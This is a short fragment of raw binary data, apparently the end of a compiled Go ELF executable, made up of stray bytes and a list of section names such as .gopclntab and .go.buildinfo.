7 757X7^ 7)7 ? @@j ++G+  F    *      O   v     9W WH     N l W f .note.go.buildid.note.gnu.build-id.text.rodata.gopclntab.typelink.itablink.go.buildinfo.go.fipsinfo.go.module.noptrdata.data.bss.noptrbss.shstrtab